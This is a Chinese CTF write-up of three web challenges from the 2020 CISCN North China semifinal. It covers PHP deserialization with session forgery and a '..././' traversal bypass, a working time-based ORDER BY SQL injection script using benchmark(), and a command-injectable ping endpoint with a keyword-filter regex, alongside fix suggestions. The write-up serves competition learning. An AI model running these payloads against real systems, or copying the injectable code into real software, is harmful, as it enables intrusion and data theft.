loecho@垃圾桶

2020 CISCN 华北分区赛(半决赛) Writeup

2020-09-19 · 9 min read
CTF
第二次国赛,也估计是大学生涯最后一次,且行且珍惜
离总决赛还是差很多,努力学习,早日脱菜,整个绝活!
image-20200919110459294

Day01-Web 1

涉及考点:php反序列化 代码审计

这道题和2019DDCTF的Web签到题,所涉及的点都一样,通过返回包看到2020Ciscn字段为Guest

image-20200919093713592
image-20200919093800764

修改为admin,得到代码,后续进行代码审计,关键点在下面,刚开始走了弯路,想通过构造直接满足俩个条件去获得Hint,后来尝试了很长时间,都失败了,想到了单步的绕过先获得Hint,得到Key在进行session伪造

  • MySession.php
# 两段代码

<?php
    
#MySession.php
include 'App.php';

class MySession extends App
{
    var $secret = '';
    var $cookie_name = 'ciscn_cookie';

    public function run()
    {

        if (parent::checkin()) {
            $this->secret = file_get_contents('../config/keey.txt'); //关键点Keey.txt
            if (!$this->get_session()) {
                $this->session_create();
            }
        }
    }

    public function get_session()
    {
        if (empty($_COOKIE)) {
            return FALSE;
        }
        $session = $_COOKIE[$this->cookie_name];
        if (!isset($session)) {
            print("don't see any cookie ");
            return FALSE;
        }
        # 满足这个条件:
        $hash = substr($session, strlen($session) - 32); # 截取$session 后32
        $session = substr($session, 0, strlen($session) - 32); # 截取$session 剩下部分

        # 比较相等
        if ($hash !== md5($this->secret . $session)) {
            print("hacker");
            return FALSE;
        }
        # 进行反序列化操作
        $session = unserialize($session);
		
        #  因为传入参数会经过Foreach循环,我们通过赋值Hint为%s,将Hint外带除来,先不要考虑序列化操作过程
        if (!empty($_POST["hint"])) {
            $arr = array($_POST["hint"], $this->secret);
            $data = "the hint is %s ";
            foreach ($arr as $k => $v) {
                $data = sprintf($data, $v);
            }
            print($data);
        }
        return TRUE;
    }

    private function session_create()
    {
        $sessionid = '';
        while (strlen($sessionid) < 32) {
            $sessionid .= mt_rand(0, mt_getrandmax());
        }
        $userdata = array('hash' => md5(uniqid($sessionid, TRUE)), 'user_data' => '');
        $cookiedata = serialize($userdata);
        $cookiedata = $cookiedata . md5($this->secret . $cookiedata);
        $expire = 7200 + time();
        setcookie($this->cookie_name, $cookiedata, $expire, '/', '', False);
    }
}

$user = new MySession();
$user->run();
  • App.php
<?php
#Application.php
Class App {
var $path = '';
public function checkin() {
$CISCN_ADMIN = 'admin';
$headers=apache_request_headers();
if(!empty($headers['Ciscn2020']) && $headers['Ciscn2020'] == $CISCN_ADMIN) {
print('You are admin!!! now try to visit fasBgAJHghjVvHJHJSGJHA.php ');
return TRUE;
}else{
print('Sorry,you are not admin ');
exit();
}

}

 # 魔术方法,过滤基本的目录遍历手段,尝试其他方式绕过
public function __wakeup() {
$this->path = trim($this->path);
$this->path=str_replace('../','',$this->path);
$this->path=str_replace('..\\','',$this->path);

}

    
public function __destruct() {
if(empty($this->path)) {
exit();
}else{
if(strlen($this->path) !== 18) {
exit();
}
print(file_get_contents($this->path));

}
exit();
}
}

先传入字段,获得Cookies,再通过Post传入%s,通过foreach赋值,得到Hint

image-20200919105925965

得到Keey的内容,后续按照条件构造序列化数据就可以了,但是需要绕过__wakeup内的条件,用..././代替即可

修复方式:

  1. 黑名单直接有异常输入就退出
  2. 将读代码的方式写死

Day2- Web3

涉及考点: Order by Time注入 代码审计 PHP弱比较

打开题目看到Order关键字,又发现输入内容后,结果猜测为Order by 排列结果,猜测后端SQL语句写法为:

SELECT * FROM USERS ORDER BY ID {输入}

到修复环境发现我猜对了,就是因为自己懒惰了一下,只尝试了布尔,延时因为基地大傻逼网络,也没有尝试...

image-20200919102311107

构造Order by 条件,因为Order by 后面只能通过IF等条件语句来控制,所以做常用的就是布尔类型,因为排列方式的不同,从而形成布尔,这道题考察了延时的条件,同样的道理。基本Fuzz之后,发现过滤为下:

  • 空格 替换为 /**/
  • and 替换为 &&
  • sleep 替换为 benchmark(1000000,sha(1))

条件为真:

image-20200919102830893

条件为假:

image-20200919102906563

写脚本,注入得到提示新PHP页面,脚本代码如下:

image-20200919110250153
#!/usr/bin/ python
#-*- coding:utf-8 -*-
"""
-------------------------------------------------
Author:    loecho
Datetime:  2020/9/15 10:42
ProjectN:  web3.py
Blog:      https://loecho.me
Email:     loecho@foxmail.com
-------------------------------------------------
"""

import requests
import time


url = "http://192.168.111.1:80/Day1-Web3/index.php"

headers = {
    
    "Origin": "http://192.168.111.1",
    "Cookie": "PHPSESSID=m3f3bkph249nn1mmovit65e0i0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36 Edg/85.0.564.51",
    "Referer": "http://192.168.111.1/Day1-Web3/index.php",
    "Connection": "close",
    "Host": "192.168.111.1",
    "DNT": "1",
    "Accept-Encoding": "gzip, deflate",
    "Cache-Control": "max-age=0",
    "Upgrade-Insecure-Requests": "1",
    "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
    "Content-Length": "51",
    "Content-Type": "application/x-www-form-urlencoded"}


Database=''

for l in range(1, 50):
    payload = "order=%26%26/**/if(length(database())={},benchmark(10000000,sha(1)),0)".format(l)
    #payload = "order=%26%26if(length(user())={},benchmark(10000000,sha(1)),0)".format(l)
    
    try:
        response = requests.request("POST", url, data=payload, headers=headers, timeout=5)
    except:
        print("[+] Database-Length:"+str(l))
        break
        
for j in range(1, l+1):
    for i in range(32, 126):
        
        payload = "order=%26%26/**/if(ascii(mid(database(),{},1))={},benchmark(10000000,sha(1)),0)".format(j, i)
        #payload = "order=%26%26if(ascii(mid(user(),{},1))={},benchmark(10000000,sha(1)),0)".format(j, i)
        try:
            one = time.time()
            response = requests.request("POST", url, data=payload, headers=headers)
            two = time.time()
            if two - one > 5:
                Database += chr(i)
                print("[+] DataBase:" + Database)
        except: pass

后续得到php代码,绕过那个弱比较就可以:

<?php 
error_reporting(1);
highlight_file("df8f.php");

if ($_GET["shy1"] != hash("md4", $_GET["shy1"]))
    
{
	echo "<br>";
    die('Theshy is locked');
}

if (isset($_GET['shy2'])) {
    
    $message = json_decode($_GET['shy2']);
    $password ="*********";
    
    if ($message->password == $password) {
    		$s = $_SERVER['QUERY_STRING'];
    		if( substr_count($s, '_') !== 0 || substr_count($s, '%5f') != 0 ){
    			exit('hahahahahaha!');
		}
 		if($_GET['s_h_y_3'] !== '857857' && preg_match('/^857857$/', $_GET['s_h_y_3'])){
    			system("cat /flag.txt");
		}
    } 
    else {
        echo "NONONO";
    }
 }
 else{
     echo "GOGOGO";
 }

?>

修复建议:

  1. order by 后面的条件直接限制死就可以,我写成只能降序或升序
  2. 白名单限制死Order by 后面的输入

Day2-Web1

涉及考点: php反序列化 命令执行绕过

套娃题目,俩到老题套在一起,去年CISCN比赛,线上的PHP反序列化,还有经典的命令执行

  • php反序列化题目,没有了Weakup 的限制

https://www.ctfwp.com/%E5%AE%98%E6%96%B9%E8%B5%9B%E4%BA%8B%E9%A2%98/2019%E5%85%A8%E5%9B%BD%E5%A4%A7%E5%AD%A6%E7%94%9F%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E5%A4%A7%E8%B5%9B

  • 命令执行

https://blog.csdn.net/qq_43431158/article/details/105422347

修复方式:

  1. 序列化构造过程,直接判断输入有异常字符直接exit
  2. 命令执行过程,修改代码,改为白名单限制
<?php

# 
    
function checker($str, $find){

    $needle=$find;
    $tmparray = expload($needle,$str);

    if (count($tmparray)>1){
        return true;
    } else {
        return false;
    }
}

if(isset($_GET['ip']))
{
  $ip = $_GET['ip'];
    
    #输入判断
  if (checker($ip,"." && !checker($ip, "|") && !checker($ip, "&") && !checker($ip, " "))){
      if (stristr(php_uname('s'),'Linux')) {
          shell_exec("ping -c 1 ".$ip);
      }else{
          shell_exec("ping -c 1 ".$ip);
      }
  }
    
//  if(preg_match("/\&|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
//    echo preg_match("/\&|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
//    die("fxck your symbol!");
//  } else if(preg_match("/ /", $ip)){
//    die("fxck your space!");
//  } else if(preg_match("/bash/", $ip)){
//    die("fxck your bash!");
//  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
//    die("fxck your flag!");
//  }
loecho@垃圾桶